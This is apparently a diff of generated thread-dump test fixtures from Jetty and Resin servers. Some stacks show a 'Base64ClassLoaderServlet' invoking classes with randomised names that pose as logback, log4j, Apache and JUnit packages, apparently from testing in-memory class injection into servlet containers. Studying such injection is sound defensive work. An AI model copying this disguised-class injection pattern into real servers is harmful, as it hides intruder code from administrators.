java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
at org.mortbay.util.ThreadPool$PoolThread.run(ThreadPool.java:522)
"Signal Dispatcher" #4 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"Acceptor ServerSocket[addr=localhost/127.0.0.1,port=0,localport=8081]" #11 [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at java.net.PlainSocketImpl.socketAccept(Native Method)
at java.net.PlainSocketImpl.accept(PlainSocketImpl.java:408)
at java.net.ServerSocket.implAccept(ServerSocket.java:462)
at java.net.ServerSocket.accept(ServerSocket.java:430)
at org.mortbay.util.ThreadedServer.acceptSocket(ThreadedServer.java:432)
at org.mortbay.util.ThreadedServer$Acceptor.run(ThreadedServer.java:634)
"P1-17" #36 [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at java.net.SocketInputStream.socketRead0(Native Method)
at java.net.SocketInputStream.read(SocketInputStream.java:129)
at org.mortbay.util.LineInput.fill(LineInput.java:477)
at org.mortbay.util.LineInput.fillLine(LineInput.java:555)
at org.mortbay.util.LineInput.readLineBuffer(LineInput.java:301)
at org.mortbay.util.LineInput.readLineBuffer(LineInput.java:285)
at org.mortbay.http.HttpRequest.readHeader(HttpRequest.java:240)
at org.mortbay.http.HttpConnection.readRequest(HttpConnection.java:862)
at org.mortbay.http.HttpConnection.handleNext(HttpConnection.java:908)
at org.mortbay.http.HttpConnection.handle(HttpConnection.java:833)
at org.mortbay.http.SocketListener.handleConnection(SocketListener.java:244)
at org.mortbay.util.ThreadedServer.handle(ThreadedServer.java:357)
at org.mortbay.util.ThreadPool$PoolThread.run(ThreadPool.java:534)
"SessionScavenger" #16 daemon [TIMED_WAITING]
java.lang.Thread.State: TIMED_WAITING
at java.lang.Thread.sleep(Native Method)
at org.mortbay.jetty.servlet.AbstractSessionManager$SessionScavenger.run(AbstractSessionManager.java:587)
"Acceptor ServerSocket[addr=0.0.0.0/0.0.0.0,port=0,localport=8080]" #18 [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at java.net.PlainSocketImpl.socketAccept(Native Method)
at java.net.PlainSocketImpl.accept(PlainSocketImpl.java:408)
at java.net.ServerSocket.implAccept(ServerSocket.java:462)
at java.net.ServerSocket.accept(ServerSocket.java:430)
at org.mortbay.util.ThreadedServer.acceptSocket(ThreadedServer.java:432)
at org.mortbay.util.ThreadedServer$Acceptor.run(ThreadedServer.java:634)
"P1-6" #25 [TIMED_WAITING] on org.mortbay.util.ThreadPool$PoolThread@1fbbd7b2
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
at org.mortbay.util.ThreadPool$PoolThread.run(ThreadPool.java:522)
"SessionScavenger" #17 daemon [TIMED_WAITING]
java.lang.Thread.State: TIMED_WAITING
at java.lang.Thread.sleep(Native Method)
at org.mortbay.jetty.servlet.AbstractSessionManager$SessionScavenger.run(AbstractSessionManager.java:587)
"P1-18" #37 [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at java.net.SocketInputStream.socketRead0(Native Method)
at java.net.SocketInputStream.read(SocketInputStream.java:129)
at org.mortbay.util.LineInput.fill(LineInput.java:477)
at org.mortbay.util.LineInput.fillLine(LineInput.java:555)
at org.mortbay.util.LineInput.readLineBuffer(LineInput.java:301)
at org.mortbay.util.LineInput.readLineBuffer(LineInput.java:285)
at org.mortbay.http.HttpRequest.readHeader(HttpRequest.java:240)
at org.mortbay.http.HttpConnection.readRequest(HttpConnection.java:862)
at org.mortbay.http.HttpConnection.handleNext(HttpConnection.java:908)
at org.mortbay.http.HttpConnection.handle(HttpConnection.java:833)
at org.mortbay.http.SocketListener.handleConnection(SocketListener.java:244)
at org.mortbay.util.ThreadedServer.handle(ThreadedServer.java:357)
at org.mortbay.util.ThreadPool$PoolThread.run(ThreadPool.java:534)
"P1-0" #19 [TIMED_WAITING] on org.mortbay.util.ThreadPool$PoolThread@4d8ce14a
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
at org.mortbay.util.ThreadPool$PoolThread.run(ThreadPool.java:522)
"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@2ea45536
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:485)
at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:116)
"P1-5" #24 [TIMED_WAITING] on org.mortbay.util.ThreadPool$PoolThread@654df764
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
at org.mortbay.util.ThreadPool$PoolThread.run(ThreadPool.java:522)
"main" #1 [TIMED_WAITING] on java.lang.String@26d66426
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
at org.mortbay.util.ThreadPool.join(ThreadPool.java:339)
at org.mortbay.http.HttpServer.join(HttpServer.java:799)
at org.mortbay.jetty.Server.main(Server.java:472)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25)
at java.lang.reflect.Method.invoke(Method.java:597)
at org.mortbay.start.Main.invokeMain(Main.java:151)
at org.mortbay.start.Main.start(Main.java:476)
at org.mortbay.start.Main.main(Main.java:94)
"Rollover" #13 daemon [TIMED_WAITING]
java.lang.Thread.State: TIMED_WAITING
at java.lang.Thread.sleep(Native Method)
at org.mortbay.util.RolloverFileOutputStream$Rollover.run(RolloverFileOutputStream.java:300)
===========================================
StackClassNames:
Base64ClassLoaderServlet
EmptyFilter
ServletNameTestFilter
UrlMappingTestFilter
org.apache.logging.BIRtA.ErrorWxrxoHandler
org.mortbay.http.HttpConnection
org.mortbay.http.HttpContext
org.mortbay.http.HttpRequest
org.mortbay.http.HttpServer
org.mortbay.http.SocketListener
org.mortbay.jetty.Server
org.mortbay.jetty.servlet.AbstractSessionManager$SessionScavenger
org.mortbay.jetty.servlet.ServletHandler
org.mortbay.jetty.servlet.ServletHolder
org.mortbay.jetty.servlet.ServletWriter
org.mortbay.jetty.servlet.WebApplicationContext
org.mortbay.jetty.servlet.WebApplicationHandler
org.mortbay.jetty.servlet.WebApplicationHandler$CachedChain
org.mortbay.start.Main
org.mortbay.start.Monitor
org.mortbay.util.LineInput
org.mortbay.util.RolloverFileOutputStream$Rollover
org.mortbay.util.ThreadPool
org.mortbay.util.ThreadPool$PoolThread
org.mortbay.util.ThreadedServer
org.mortbay.util.ThreadedServer$Acceptor
@@ -0,0 +1,232 @@
# Generated At 2026-07-03 18:58:58
SystemProps:
java.runtime.name: Java(TM) SE Runtime Environment
sun.boot.library.path: /opt/java/jdk1.6.0_45/jre/lib/amd64
java.vm.version: 20.45-b01
java.vm.vendor: Sun Microsystems Inc.
java.vendor.url: http://java.sun.com/
path.separator: :
java.vm.name: Java HotSpot(TM) 64-Bit Server VM
file.encoding.pkg: sun.io
user.country: US
sun.java.launcher: SUN_STANDARD
sun.os.patch.level: unknown
java.vm.specification.name: Java Virtual Machine Specification
user.dir: /usr/local/resin2
org.xml.sax.driver: com.caucho.xml.Xml
java.runtime.version: 1.6.0_45-b06
java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment
java.endorsed.dirs: /opt/java/jdk1.6.0_45/jre/lib/endorsed
os.arch: amd64
java.io.tmpdir: /tmp
line.separator:
java.vm.specification.vendor: Sun Microsystems Inc.
java.naming.factory.url.pkgs: com.caucho.naming
os.name: Linux
resin.home: /usr/local/resin2
sun.jnu.encoding: ANSI_X3.4-1968
java.library.path: /opt/java/jdk1.6.0_45/jre/lib/amd64/server:/opt/java/jdk1.6.0_45/jre/lib/amd64:/opt/java/jdk1.6.0_45/jre/../lib/amd64::/usr/local/resin2/libexec:/usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib
java.specification.name: Java Platform API Specification
java.class.version: 50.0
sun.management.compiler: HotSpot 64-Bit Tiered Compilers
os.version: 7.0.11-orbstack-00360-gc9bc4d96ac70
user.home: /root
user.timezone: UTC
java.awt.printerjob: sun.print.PSPrinterJob
file.encoding: ANSI_X3.4-1968
java.specification.version: 1.6
user.name: root
java.class.path: .:/usr/local/resin2/lib/dom.jar:/usr/local/resin2/lib/jaxp.jar:/usr/local/resin2/lib/jmx.jar:/usr/local/resin2/lib/jta_101.jar:/usr/local/resin2/lib/resin.jar:/usr/local/resin2/lib/sax.jar:/usr/local/resin2/lib/webutil.jar:/opt/java/jdk1.6.0_45/lib/tools.jar:/opt/java/jdk1.6.0_45/jre/lib/rt.jar:/usr/local/resin2/lib/jsdk23.jar
java.naming.factory.initial: com.caucho.naming.InitialContextFactoryImpl
java.vm.specification.version: 1.0
sun.arch.data.model: 64
java.home: /opt/java/jdk1.6.0_45/jre
sun.java.command: com.caucho.server.http.HttpServer
java.specification.vendor: Sun Microsystems Inc.
user.language: en
java.vm.info: mixed mode
java.version: 1.6.0_45
java.ext.dirs: /opt/java/jdk1.6.0_45/jre/lib/ext:/usr/java/packages/lib/ext
sun.boot.class.path: /opt/java/jdk1.6.0_45/jre/lib/resources.jar:/opt/java/jdk1.6.0_45/jre/lib/rt.jar:/opt/java/jdk1.6.0_45/jre/lib/sunrsasign.jar:/opt/java/jdk1.6.0_45/jre/lib/jsse.jar:/opt/java/jdk1.6.0_45/jre/lib/jce.jar:/opt/java/jdk1.6.0_45/jre/lib/charsets.jar:/opt/java/jdk1.6.0_45/jre/lib/modules/jdk.boot.jar:/opt/java/jdk1.6.0_45/jre/classes
java.vendor: Sun Microsystems Inc.
file.separator: /
java.vendor.url.bug: http://java.sun.com/cgi-bin/bugreport.cgi
sun.cpu.endian: little
sun.io.unicode.encoding: UnicodeLittle
sun.cpu.isalist:
===========================================
ThreadStacks:
"tcp-accept-6802" #13 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at java.net.PlainSocketImpl.socketAccept(Native Method)
at java.net.PlainSocketImpl.accept(PlainSocketImpl.java:408)
at java.net.ServerSocket.implAccept(ServerSocket.java:462)
at java.net.ServerSocket.accept(ServerSocket.java:430)
at com.caucho.vfs.QServerSocketWrapper.accept(QServerSocketWrapper.java:91)
at com.caucho.server.TcpServer.run(TcpServer.java:509)
at java.lang.Thread.run(Thread.java:662)
"Signal Dispatcher" #4 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"tcp-accept-6802" #14 daemon [TIMED_WAITING] on com.caucho.server.TcpServer$StartThread@13b33a0e
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
at com.caucho.server.TcpServer$StartThread.run(TcpServer.java:995)
at java.lang.Thread.run(Thread.java:662)
"tcp-accept-8080" #12 daemon [TIMED_WAITING]
java.lang.Thread.State: TIMED_WAITING
at java.lang.Thread.sleep(Native Method)
at com.caucho.server.TcpServer$StartThread.run(TcpServer.java:1001)
at java.lang.Thread.run(Thread.java:662)
"tcpConnection-8080-5" #20 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at java.lang.Thread.dumpThreads(Native Method)
at java.lang.Thread.getAllStackTraces(Thread.java:1530)
at ch.qos.logback.Ekrxx.ErrorFmailHandler.toString(BasicInfoPrinter.java:26)
at java.lang.String.valueOf(String.java:2826)
at java.io.PrintWriter.print(PrintWriter.java:573)
at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26)
at com.caucho.server.http.FilterChainServlet.doFilter(FilterChainServlet.java:96)
at EmptyFilter.doFilter(EmptyFilter.java:12)
at com.caucho.server.http.FilterChainFilter.doFilter(FilterChainFilter.java:88)
at ServletNameTestFilter.doFilter(ServletNameTestFilter.java:16)
at com.caucho.server.http.FilterChainFilter.doFilter(FilterChainFilter.java:88)
at UrlMappingTestFilter.doFilter(UrlMappingTestFilter.java:21)
at com.caucho.server.http.FilterChainFilter.doFilter(FilterChainFilter.java:88)
at com.caucho.server.http.Invocation.service(Invocation.java:315)
at com.caucho.server.http.CacheInvocation.service(CacheInvocation.java:135)
at com.caucho.server.http.HttpRequest.handleRequest(HttpRequest.java:253)
at com.caucho.server.http.HttpRequest.handleConnection(HttpRequest.java:170)
at com.caucho.server.TcpConnection.run(TcpConnection.java:139)
at java.lang.Thread.run(Thread.java:662)
"resin-cron" #9 daemon [TIMED_WAITING]
java.lang.Thread.State: TIMED_WAITING
at java.lang.Thread.sleep(Native Method)
at com.caucho.util.Cron$CronThread.run(Cron.java:174)
"main" #1 [TIMED_WAITING]
java.lang.Thread.State: TIMED_WAITING
at java.lang.Thread.sleep(Native Method)
at com.caucho.server.http.ResinServer.waitForExit(ResinServer.java:958)
at com.caucho.server.http.ResinServer.main(ResinServer.java:1178)
at com.caucho.server.http.HttpServer.main(HttpServer.java:103)
"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@5ba8773c
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:485)
at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:116)
"tcpConnection-8080-3" #18 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at java.net.SocketInputStream.socketRead0(Native Method)
at java.net.SocketInputStream.read(SocketInputStream.java:129)
at com.caucho.vfs.SocketStream.read(SocketStream.java:159)
at com.caucho.vfs.ReadStream.readBuffer(ReadStream.java:790)
at com.caucho.vfs.ReadStream.fillBuffer(ReadStream.java:765)
at com.caucho.server.http.HttpRequest.readRequest(HttpRequest.java:360)
at com.caucho.server.http.HttpRequest.handleRequest(HttpRequest.java:193)
at com.caucho.server.http.HttpRequest.handleConnection(HttpRequest.java:171)
at com.caucho.server.TcpConnection.run(TcpConnection.java:139)
at java.lang.Thread.run(Thread.java:662)
"tcp-accept-8080" #11 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at java.net.PlainSocketImpl.socketAccept(Native Method)
at java.net.PlainSocketImpl.accept(PlainSocketImpl.java:408)
at java.net.ServerSocket.implAccept(ServerSocket.java:462)
at java.net.ServerSocket.accept(ServerSocket.java:430)
at com.caucho.vfs.QServerSocketWrapper.accept(QServerSocketWrapper.java:91)
at com.caucho.server.TcpServer.run(TcpServer.java:509)
at java.lang.Thread.run(Thread.java:662)
"tcpConnection-8080-0" #15 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at java.net.SocketInputStream.socketRead0(Native Method)
at java.net.SocketInputStream.read(SocketInputStream.java:129)
at com.caucho.vfs.SocketStream.read(SocketStream.java:159)
at com.caucho.vfs.ReadStream.readBuffer(ReadStream.java:790)
at com.caucho.vfs.ReadStream.fillBuffer(ReadStream.java:765)
at com.caucho.server.http.HttpRequest.readRequest(HttpRequest.java:360)
at com.caucho.server.http.HttpRequest.handleRequest(HttpRequest.java:193)
at com.caucho.server.http.HttpRequest.handleConnection(HttpRequest.java:171)
at com.caucho.server.TcpConnection.run(TcpConnection.java:139)
at java.lang.Thread.run(Thread.java:662)
"tcpConnection-8080-4" #19 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at java.net.SocketInputStream.socketRead0(Native Method)
at java.net.SocketInputStream.read(SocketInputStream.java:129)
at com.caucho.vfs.SocketStream.read(SocketStream.java:159)
at com.caucho.vfs.ReadStream.readBuffer(ReadStream.java:790)
at com.caucho.vfs.ReadStream.fillBuffer(ReadStream.java:765)
at com.caucho.server.http.HttpRequest.readRequest(HttpRequest.java:360)
at com.caucho.server.http.HttpRequest.handleRequest(HttpRequest.java:193)
at com.caucho.server.http.HttpRequest.handleConnection(HttpRequest.java:171)
at com.caucho.server.TcpConnection.run(TcpConnection.java:139)
at java.lang.Thread.run(Thread.java:662)
"tcpConnection-8080-2" #17 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at java.net.SocketInputStream.socketRead0(Native Method)
at java.net.SocketInputStream.read(SocketInputStream.java:129)
at com.caucho.vfs.SocketStream.read(SocketStream.java:159)
at com.caucho.vfs.ReadStream.readBuffer(ReadStream.java:790)
at com.caucho.vfs.ReadStream.fillBuffer(ReadStream.java:765)
at com.caucho.server.http.HttpRequest.readRequest(HttpRequest.java:360)
at com.caucho.server.http.HttpRequest.handleRequest(HttpRequest.java:193)
at com.caucho.server.http.HttpRequest.handleConnection(HttpRequest.java:171)
at com.caucho.server.TcpConnection.run(TcpConnection.java:139)
at java.lang.Thread.run(Thread.java:662)
"resin-alarm" #8 daemon [TIMED_WAITING]
java.lang.Thread.State: TIMED_WAITING
at java.lang.Thread.sleep(Native Method)
at com.caucho.util.Alarm$AlarmThread.run(Alarm.java:281)
"tcpConnection-6802-1" #16 daemon [TIMED_WAITING] on java.lang.Object@112c3327
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
at com.caucho.server.TcpServer.accept(TcpServer.java:648)
at com.caucho.server.TcpConnection.accept(TcpConnection.java:211)
at com.caucho.server.TcpConnection.run(TcpConnection.java:132)
at java.lang.Thread.run(Thread.java:662)
"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@6cd24e3f
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:118)
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:134)
at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:171)
===========================================
StackClassNames:
Base64ClassLoaderServlet
EmptyFilter
ServletNameTestFilter
UrlMappingTestFilter
ch.qos.logback.Ekrxx.ErrorFmailHandler
com.caucho.server.TcpConnection
com.caucho.server.TcpServer
com.caucho.server.TcpServer$StartThread
com.caucho.server.http.CacheInvocation
com.caucho.server.http.FilterChainFilter
com.caucho.server.http.FilterChainServlet
com.caucho.server.http.HttpRequest
com.caucho.server.http.HttpServer
com.caucho.server.http.Invocation
com.caucho.server.http.ResinServer
com.caucho.util.Alarm$AlarmThread
com.caucho.util.Cron$CronThread
com.caucho.vfs.QServerSocketWrapper
com.caucho.vfs.ReadStream
com.caucho.vfs.SocketStream
@@ -1,4 +1,4 @@
# Generated At 2025-08-10 14:59:54
# Generated At 2026-07-03 18:50:40
SystemProps:
java.runtime.name: OpenJDK Runtime Environment
sun.boot.library.path: /usr/local/openjdk-8/jre/lib/aarch64
@@ -33,7 +33,7 @@ java.specification.name: Java Platform API Specification
java.class.version: 52.0
mail.smtp.port: 25
sun.management.compiler: HotSpot 64-Bit Tiered Compilers
os.version: 6.14.10-orbstack-00291-g1b252bd3edea
os.version: 7.0.11-orbstack-00360-gc9bc4d96ac70
user.home: /root
user.timezone: Etc/UTC
java.awt.printerjob: sun.print.PSPrinterJob
@@ -44,7 +44,7 @@ user.name: root
java.naming.factory.initial: com.caucho.naming.InitialContextFactoryImpl
com.sun.management.jmxremote:
java.vm.specification.version: 1.8
sun.java.command: com.caucho.server.resin.Resin --root-directory /usr/local/resin3/ -conf /usr/local/resin3/conf/resin.conf -socketwait 34669
sun.java.command: com.caucho.server.resin.Resin --root-directory /usr/local/resin3/ -conf /usr/local/resin3/conf/resin.conf -socketwait 43545
java.home: /usr/local/openjdk-8/jre
sun.arch.data.model: 64
user.language: en
@@ -66,7 +66,7 @@ sun.cpu.isalist:
===========================================
ThreadStacks:
"http--8080-11$792323448" #23 daemon [RUNNABLE]
"hmux-127.0.0.1:6800-4$792323448" #21 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at java.net.PlainSocketImpl.socketAccept(Native Method)
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
@@ -79,7 +79,7 @@ ThreadStacks:
at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662)
at java.lang.Thread.run(Thread.java:750)
"hmux-127.0.0.1:6800-9$270113755" #31 daemon [RUNNABLE]
"hmux-127.0.0.1:6800-3$710619096" #22 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at java.net.PlainSocketImpl.socketAccept(Native Method)
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
@@ -92,54 +92,7 @@ ThreadStacks:
at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662)
at java.lang.Thread.run(Thread.java:750)
"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@57f8dde1
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:502)
at java.lang.ref.Reference.tryHandlePending(Reference.java:191)
at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153)
"hmux-127.0.0.1:6800-5$1054028374" #20 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at java.net.PlainSocketImpl.socketAccept(Native Method)
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
at java.net.ServerSocket.implAccept(ServerSocket.java:560)
at java.net.ServerSocket.accept(ServerSocket.java:528)
at com.caucho.vfs.QServerSocketWrapper.accept(QServerSocketWrapper.java:91)
at com.caucho.server.port.Port.accept(Port.java:1182)
at com.caucho.server.port.TcpConnection.run(TcpConnection.java:659)
at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:743)
at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662)
at java.lang.Thread.run(Thread.java:750)
"Signal Dispatcher" #4 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"resin-alarm" #14 daemon [TIMED_WAITING]
java.lang.Thread.State: TIMED_WAITING
at java.lang.Thread.sleep(Native Method)
at com.caucho.util.Alarm$AlarmThread.run(Alarm.java:599)
"http--8080-14$1389750751" #38 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at java.net.PlainSocketImpl.socketAccept(Native Method)
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
at java.net.ServerSocket.implAccept(ServerSocket.java:560)
at java.net.ServerSocket.accept(ServerSocket.java:528)
at com.caucho.vfs.QServerSocketWrapper.accept(QServerSocketWrapper.java:91)
at com.caucho.server.port.Port.accept(Port.java:1182)
at com.caucho.server.port.TcpConnection.run(TcpConnection.java:659)
at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:743)
at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662)
at java.lang.Thread.run(Thread.java:750)
"resin-destroy" #29 daemon [WAITING] on com.caucho.server.resin.Resin$DestroyThread@17cf8303
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:502)
at com.caucho.server.resin.Resin$DestroyThread.run(Resin.java:1779)
"http--8080-3$912058259" #25 daemon [RUNNABLE]
"http--8080-10$193468237" #30 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at java.net.SocketInputStream.socketRead0(Native Method)
at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
@@ -153,15 +106,89 @@ ThreadStacks:
at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662)
at java.lang.Thread.run(Thread.java:750)
"http--8080-12$1710487331" #34 daemon [RUNNABLE]
"http--8080-13$1054028374" #19 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at java.net.PlainSocketImpl.socketAccept(Native Method)
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
at java.net.ServerSocket.implAccept(ServerSocket.java:560)
at java.net.ServerSocket.accept(ServerSocket.java:528)
at com.caucho.vfs.QServerSocketWrapper.accept(QServerSocketWrapper.java:91)
at com.caucho.server.port.Port.accept(Port.java:1182)
at com.caucho.server.port.TcpConnection.run(TcpConnection.java:659)
at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:743)
at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662)
at java.lang.Thread.run(Thread.java:750)
"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@19a56869
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216)
"Signal Dispatcher" #4 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"resin-1" #16 daemon [TIMED_WAITING] on com.caucho.util.ThreadPool$Item@40c0d528
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:727)
at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662)
at java.lang.Thread.run(Thread.java:750)
"http--8080-7$200707833" #32 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at java.net.SocketInputStream.socketRead0(Native Method)
at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
at java.net.SocketInputStream.read(SocketInputStream.java:171)
at java.net.SocketInputStream.read(SocketInputStream.java:141)
at com.caucho.vfs.SocketStream.read(SocketStream.java:175)
at com.caucho.vfs.ReadStream.readBuffer(ReadStream.java:1018)
at com.caucho.vfs.ReadStream.waitForRead(ReadStream.java:337)
at com.caucho.server.port.TcpConnection.run(TcpConnection.java:678)
at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:743)
at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662)
at java.lang.Thread.run(Thread.java:750)
"resin-2" #17 daemon [TIMED_WAITING] on com.caucho.util.ThreadPool$Item@99c6689
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:727)
at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662)
at java.lang.Thread.run(Thread.java:750)
"http--8080-9$1055206269" #33 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at java.net.PlainSocketImpl.socketAccept(Native Method)
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
at java.net.ServerSocket.implAccept(ServerSocket.java:560)
at java.net.ServerSocket.accept(ServerSocket.java:528)
at com.caucho.vfs.QServerSocketWrapper.accept(QServerSocketWrapper.java:91)
at com.caucho.server.port.Port.accept(Port.java:1182)
at com.caucho.server.port.TcpConnection.run(TcpConnection.java:659)
at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:743)
at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662)
at java.lang.Thread.run(Thread.java:750)
"resin-port-8080" #28 daemon [TIMED_WAITING] on com.caucho.server.port.Port@30f5c5f7
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
at com.caucho.server.port.Port.run(Port.java:1526)
at java.lang.Thread.run(Thread.java:750)
"http--8080-2$1863701454" #24 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at java.lang.Thread.dumpThreads(Native Method)
at java.lang.Thread.getAllStackTraces(Thread.java:1615)
at org.junit.otVzv.ErrorHandler.toString(BasicInfoPrinter.java:26)
at org.apache.HkNKV.ErrorXokxzHandler.toString(BasicInfoPrinter.java:26)
at com.caucho.vfs.AbstractPrintWriter.print(AbstractPrintWriter.java:221)
at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26)
at com.caucho.server.dispatch.ServletFilterChain.doFilter(ServletFilterChain.java:103)
at EmptyFilter.doFilter(EmptyFilter.java:21)
at ServletNameTestFilter.doFilter(ServletNameTestFilter.java:16)
at com.caucho.server.dispatch.FilterFilterChain.doFilter(FilterFilterChain.java:87)
at EmptyFilter.doFilter(EmptyFilter.java:12)
at com.caucho.server.dispatch.FilterFilterChain.doFilter(FilterFilterChain.java:87)
at UrlMappingTestFilter.doFilter(UrlMappingTestFilter.java:21)
at com.caucho.server.dispatch.FilterFilterChain.doFilter(FilterFilterChain.java:87)
at com.caucho.server.webapp.WebAppFilterChain.doFilter(WebAppFilterChain.java:187)
at com.caucho.server.dispatch.ServletInvocation.service(ServletInvocation.java:265)
@@ -171,69 +198,13 @@ ThreadStacks:
at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662)
at java.lang.Thread.run(Thread.java:750)
"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@25a9371
"resin-destroy" #29 daemon [WAITING] on com.caucho.server.resin.Resin$DestroyThread@d177a8b
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216)
at java.lang.Object.wait(Object.java:502)
at com.caucho.server.resin.Resin$DestroyThread.run(Resin.java:1779)
"http--8080-10$1352722481" #36 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at java.net.SocketInputStream.socketRead0(Native Method)
at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
at java.net.SocketInputStream.read(SocketInputStream.java:171)
at java.net.SocketInputStream.read(SocketInputStream.java:141)
at com.caucho.vfs.SocketStream.read(SocketStream.java:175)
at com.caucho.vfs.ReadStream.readBuffer(ReadStream.java:1018)
at com.caucho.vfs.ReadStream.waitForRead(ReadStream.java:337)
at com.caucho.server.port.TcpConnection.run(TcpConnection.java:678)
at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:743)
at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662)
at java.lang.Thread.run(Thread.java:750)
"resin-port-8080" #28 daemon [TIMED_WAITING] on com.caucho.server.port.Port@33b742c1
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
at com.caucho.server.port.Port.run(Port.java:1526)
at java.lang.Thread.run(Thread.java:750)
"resin-0" #15 daemon [TIMED_WAITING] on com.caucho.util.ThreadPool$Item@4e68ce16
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
